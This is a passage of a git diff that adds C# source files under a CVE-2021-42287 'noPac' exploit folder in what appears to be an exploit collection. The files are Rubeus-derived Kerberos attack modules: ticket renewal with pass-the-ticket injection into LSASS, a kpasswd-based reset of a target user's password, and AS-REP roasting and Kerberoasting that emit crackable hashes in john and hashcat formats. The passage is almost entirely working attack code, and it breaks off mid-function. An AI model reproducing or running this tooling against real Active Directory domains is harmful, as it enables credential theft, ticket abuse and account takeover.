targetComputerName)); + } + else + { + paths.Add(path); + } + + foreach (string targetPath in paths) + { + Console.WriteLine("[*] Attempting to unmount: {0}", targetPath); + int result = Interop.WNetCancelConnection2(targetPath, 0, true); + + if (result == 0) + { + Console.WriteLine("[*] {0} successfully unmounted", targetPath); + } + else + { + Console.WriteLine("[X] Error unmounting {0}", targetPath); + returnResult = result; + } + } + return returnResult; + } + } +} + diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Renew.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Renew.cs new file mode 100644 index 0000000..e8e2392 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Renew.cs @@ -0,0 +1,203 @@ +using System; +using System.IO; +using System.Linq; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class Renew + { + public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true) + { + KRB_CRED currentKirbi = kirbi; + + while (true) + { + // extract out the info needed for the TGS-REQ/AP-REQ renewal + string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = currentKirbi.enc_part.ticket_info[0].prealm; + Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain); + + DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime); + DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till); + Console.WriteLine("[*] endtime : {0}", endTime); + Console.WriteLine("[*] renew-till : {0}", renewTill); + + if (endTime > renewTill) + { + Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill); + return; + } + else + { + double ticks = (endTime - DateTime.Now).Ticks; + if (ticks < 0) + { + Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime); + return; + } + + // get the window to sleep until the next endtime for the ticket, -30 minutes for a window + double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30; + + Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes); + System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000); + + Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain); + byte[] bytes = TGT(currentKirbi, null, false, domainController, true); + currentKirbi = new KRB_CRED(bytes); + } + } + } + + public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true) + { + // extract out the info needed for the TGS-REQ/AP-REQ renewal + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // request the new TGT renewal + return TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display); + } + + public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true) + { + string dcIP = Networking.GetDCIP(domainController, display); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + if (display) + { + Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName); + } + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, ""); + + byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes); + if(response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 13) + { + Console.WriteLine("[+] TGT renewal request successful!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (display) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + return kirbiBytes; + } + else if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Reset.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Reset.cs new file mode 100644 index 0000000..14dc632 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Reset.cs @@ -0,0 +1,202 @@ +using System; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using Asn1; + +namespace Rubeus +{ + public class Reset + { + [Flags] + enum PasswordProperties { + Complex = 0x1, + NoAnonChange = 0x2, + NoClearChange = 0x4, + LockoutAdmins = 0x8, + StoreCleartext = 0x10, + RefusePasswordChange = 0x20 + } + + public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "", string targetUser = null) + { + // implements the Kerberos-based password reset originally disclosed by Aorato + // This function is misc::changepw in Kekeo + // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence + // AP-REQ with randomized sub session key + // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key + // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + + // extract the user and domain from the existing .kirbi ticket + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string userDomain = kirbi.enc_part.ticket_info[0].prealm; + + if (targetUser == null) { + Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); + } else { + Console.WriteLine("[*] Resetting password for target user: {0}", targetUser); + } + + Console.WriteLine("[*] New password value: {0}", newPassword); + + // build the AP_REQ using the user ticket's keytype and key + Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); + AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); + + // create a new session subkey for the Authenticator and match the encryption type of the user key + Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); + ap_req.authenticator.subkey = new EncryptionKey(); + ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; + + // generate a random session subkey + Random random = new Random(); + byte[] randKeyBytes; + Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); + + // randKeyBytes is now the session key used for the KRB-PRIV structure + + var rand = new Random(); + ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + + // now build the KRV-PRIV structure + Console.WriteLine("[*] Building the KRV-PRIV structure"); + KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); + + // the new password to set for the user + if (targetUser != null) { + var userParts = targetUser.Split('\\'); + if(userParts.Length != 2) { + Console.WriteLine("[X] /targetuser should be in the format domain.com\\username!"); + return; + } + changePriv.enc_part = new EncKrbPrivPart(userParts[1], userParts[0].ToUpper(), newPassword, "lol"); + } else { + changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); + } + + // now build the final MS Kpasswd request + byte[] apReqBytes = ap_req.Encode().Encode(); + byte[] changePrivBytes = changePriv.Encode().Encode(); + + short messageLength = (short)(apReqBytes.Length + changePrivBytes.Length + 6); + short version = -128; + + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + + //Message Length + bw.Write(IPAddress.NetworkToHostOrder(messageLength)); + + // Version (Reply) + bw.Write(IPAddress.NetworkToHostOrder(version)); + + //AP_REQ Length + bw.Write(IPAddress.NetworkToHostOrder((short)apReqBytes.Length)); + + //AP_REQ + bw.Write(apReqBytes); + + //KRV-PRIV + bw.Write(changePrivBytes); + + // KPASSWD_DEFAULT_PORT = 464 + byte[] response = Networking.SendBytes(dcIP, 464, ((MemoryStream)bw.BaseStream).ToArray()); + if (response == null) + { + return; + } + + try + { + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + return; + } + } + catch { } + + // otherwise parse the resulting KRB-PRIV from the server + BinaryReader br = new BinaryReader(new MemoryStream(response)); + short respMsgLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); + short respVersion = IPAddress.NetworkToHostOrder(br.ReadInt16()); + short respAPReqLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); + byte[] respAPReq = br.ReadBytes(respAPReqLen); + byte[] respKRBPriv = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + + // decode the KRB-PRIV response + AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); + + foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub) + { + if(elem.TagValue == 3) + { + byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); + byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); + AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); + + byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); + + br = new BinaryReader(new MemoryStream(responseCodeBytes)); + short resultCode = IPAddress.NetworkToHostOrder(br.ReadInt16()); + if (resultCode == 0) + { + Console.WriteLine("[+] Password change success!"); + } + else + { + byte[] resultMessage = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + string resultError = ""; + + if (resultMessage.Length > 2) { + if (resultMessage[0] == 0 && resultMessage[1] == 0) { + br = new BinaryReader(new MemoryStream(resultMessage)); + br.ReadUInt16(); + int minPasswordLen = IPAddress.NetworkToHostOrder(br.ReadInt32()); + int passwordHistory = IPAddress.NetworkToHostOrder(br.ReadInt32()); + PasswordProperties pprops = (PasswordProperties)IPAddress.NetworkToHostOrder((br.ReadInt32())); + TimeSpan expire = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); + TimeSpan min_passwordage = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); + resultError = $"Policy: \n\tMinimum Length: {minPasswordLen}\n\tPassword History: {passwordHistory}\n\tFlags: {pprops}\n\tExpiry: {expire:%d} day(s)\n\tMinimum Password Age: {min_passwordage:%d} day(s)"; + + } else { + resultError = Encoding.UTF8.GetString(resultMessage); + } + } + + Console.WriteLine("[X] Password change error: {0} {1}", (Interop.KADMIN_PASSWD_ERR)resultCode, resultError); + } + } + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Roast.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Roast.cs new file mode 100644 index 0000000..fa23513 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Roast.cs @@ -0,0 +1,852 @@ +using System; +using Asn1; +using System.IO; +using ConsoleTables; +using System.Text.RegularExpressions; +using System.Security.Principal; +using System.Collections.Generic; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Roast + { + public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false) + { + if (!String.IsNullOrEmpty(userName)) + { + Console.WriteLine("[*] Target User : {0}", userName); + } + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("[*] Target OU : {0}", OUName); + } + if (!String.IsNullOrEmpty(domain)) + { + Console.WriteLine("[*] Target Domain : {0}", domain); + } + if (!String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[*] Target DC : {0}", domainController); + } + + Console.WriteLine(); + + if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) + { + // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly + GetASRepHash(userName, domain, domainController, format, outFile); + } + else + { + string userSearchFilter = ""; + + if (String.IsNullOrEmpty(userName)) + { + userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; + } + else + { + userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); + } + if (!String.IsNullOrEmpty(ldapFilter)) + { + userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + List> users = Networking.GetLdapQuery(cred, OUName, domainController, domain, userSearchFilter, ldaps); + + if (users == null) + { + Console.WriteLine("[X] Error during executing the LDAP query."); + return; + } + if (users.Count == 0) + { + Console.WriteLine("[X] No users found to AS-REP roast!"); + } + + foreach (IDictionary user in users) + { + string samAccountName = (string)user["samaccountname"]; + string distinguishedName = (string)user["distinguishedname"]; + Console.WriteLine("[*] SamAccountName : {0}", samAccountName); + Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); + + GetASRepHash(samAccountName, domain, domainController, format, outFile); + } + } + + if (!String.IsNullOrEmpty(outFile)) + { + Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); + } + } + + public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "", string outFile = "") + { + // roast AS-REPs for users without pre-authentication enabled + + string dcIP = Networking.GetDCIP(domainController, true, domain); + if (String.IsNullOrEmpty(dcIP)) { return; } + + Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName); + byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac).Encode().Encode(); + + byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); + if (response == null) + { + return; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + Console.WriteLine("[+] AS-REQ w/o preauth successful!"); + + // parse the response to an AS-REP + AS_REP rep = new AS_REP(response); + + // output the hash of the encrypted KERB-CRED in a crackable hash form + string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty); + repHash = repHash.Insert(32, "$"); + + string hashString = ""; + if (format == "john") + { + hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); + } + else if (format == "hashcat") + { + hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", userName, domain, repHash); + } + else + { + Console.WriteLine("Please provide a cracking format."); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hashString + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath); + } + else + { + Console.WriteLine("[*] AS-REP hash:\r\n"); + + // display the base64 of a hash, columns of 80 chararacters + if (false) + { + foreach (string line in Helpers.Split(hashString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", hashString); + } + Console.WriteLine(); + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + + public static void Kerberoast(string spn = "", List spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false) + { + if (userStats) + { + Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); + } + else if (TGT != null) + { + Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); + } + else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) + { + Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); + byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); + TGT = new KRB_CRED(delegTGTbytes); + Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); + } + else + { + Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); + Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); + } + + if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) + { + Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); + return; + } + + if(delay != 0) + { + Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); + if(jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); + } + Console.WriteLine(); + } + + if (!String.IsNullOrEmpty(spn)) + { + Console.WriteLine("\r\n[*] Target SPN : {0}", spn); + + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); + } + } + else if ((spns != null) && (spns.Count != 0)) + { + foreach (string s in spns) + { + Console.WriteLine("\r\n[*] Target SPN : {0}", s); + + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); + } + } + } + else + { + if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) + { + if (!String.IsNullOrEmpty(userName)) + { + if (userName.Contains(",")) + { + Console.WriteLine("[*] Target Users : {0}", userName); + } + else + { + Console.WriteLine("[*] Target User : {0}", userName); + } + } + if (!String.IsNullOrEmpty(domain)) + { + Console.WriteLine("[*] Target Domain : {0}", domain); + } + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("[*] Target OU : {0}", OUName); + } + } + + // inject ticket for LDAP search if supplied + if (TGT != null) + { + byte[] kirbiBytes = null; + string ticketDomain = TGT.enc_part.ticket_info[0].prealm; + + if (String.IsNullOrEmpty(domain)) + { + // if a domain isn't specified, use the domain from the referral + domain = ticketDomain; + } + + // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher + if (ticketDomain != domain) + { + if (String.IsNullOrEmpty(dc)) + { + dc = Networking.GetDCName(domain); + } + + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + + // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket + Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); + System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); + dc = dcInfo.HostName; + } + + // request a service tickt for LDAP on the target DC + kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); + } + // otherwise inject the TGT to perform the domain searcher + else + { + kirbiBytes = TGT.Encode().Encode(); + } + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // build LDAP query + string userFilter = ""; + + if (!String.IsNullOrEmpty(userName)) + { + if (userName.Contains(",")) + { + // searching for multiple specified users, ensuring they're not disabled accounts + string userPart = ""; + foreach (string user in userName.Split(',')) + { + userPart += String.Format("(samAccountName={0})", user); + } + userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); + } + else + { + // searching for a specified user, ensuring it's not a disabled account + userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); + } + } + else + { + // if no user specified, filter out the krbtgt account and disabled accounts + userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; + } + + string encFilter = ""; + if (String.Equals(supportedEType, "rc4opsec")) + { + // "opsec" RC4, meaning don't RC4 roast accounts that support AES + Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); + encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; + } + else if (String.Equals(supportedEType, "aes")) + { + // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 + Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); + encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; + } + + // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, + // then RC4 tickets would NOT be returned, so the original filter was: + // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 + // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 + // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 + // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; + + // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ + // so this fine-grained filtering is not needed + + string userSearchFilter = ""; + if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) + { + if (String.IsNullOrEmpty(pwdSetAfter)) + { + pwdSetAfter = "01-01-1601"; + } + if (String.IsNullOrEmpty(pwdSetBefore)) + { + pwdSetBefore = "01-01-2100"; + } + + Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); + + try + { + DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); + DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); + string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; + userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); + } + catch + { + Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); + return; + } + } + else + { + userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); + } + + if (!String.IsNullOrEmpty(ldapFilter)) + { + userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); + } + + List> users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps); + if (users == null) + { + Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); + return; + } + + try + { + if (users.Count == 0) + { + Console.WriteLine("\r\n[X] No users found to Kerberoast!"); + } + else + { + Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); + } + + // used to keep track of user encryption types + SortedDictionary userETypes = new SortedDictionary(); + // used to keep track of years that users had passwords last set in + SortedDictionary userPWDsetYears = new SortedDictionary(); + + foreach (IDictionary user in users) + { + string samAccountName = (string)user["samaccountname"]; + string distinguishedName = (string)user["distinguishedname"]; + string servicePrincipalName = ((string[])user["serviceprincipalname"])[0]; + + + DateTime? pwdLastSet = null; + if (user.ContainsKey("pwdlastset")) + { + pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime(); + } + + Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE)0; + if (user.ContainsKey("msds-supportedencryptiontypes")) + { + supportedETypes = (Interop.SUPPORTED_ETYPE)(int)user["msds-supportedencryptiontypes"]; + } + + if (!userETypes.ContainsKey(supportedETypes)) + { + userETypes[supportedETypes] = 1; + } + else + { + userETypes[supportedETypes] = userETypes[supportedETypes] + 1; + } + + if (pwdLastSet == null) + { + // pwdLastSet == null with new accounts and + // when a password is set to never expire + if (!userPWDsetYears.ContainsKey(-1)) + userPWDsetYears[-1] = 1; + else + userPWDsetYears[-1] += 1; + } + else + { + int year = pwdLastSet.Value.Year; + if (!userPWDsetYears.ContainsKey(year)) + userPWDsetYears[year] = 1; + else + userPWDsetYears[year] += 1; + } + + if (!userStats) + { + if (!simpleOutput) + { + Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); + Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); + Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); + Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); + Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); + } + + if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) + { + servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); + } + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + + if (String.Equals(supportedEType, "rc4") && + ( + ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || + ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) + ) + ) + { + // if we're roasting RC4, 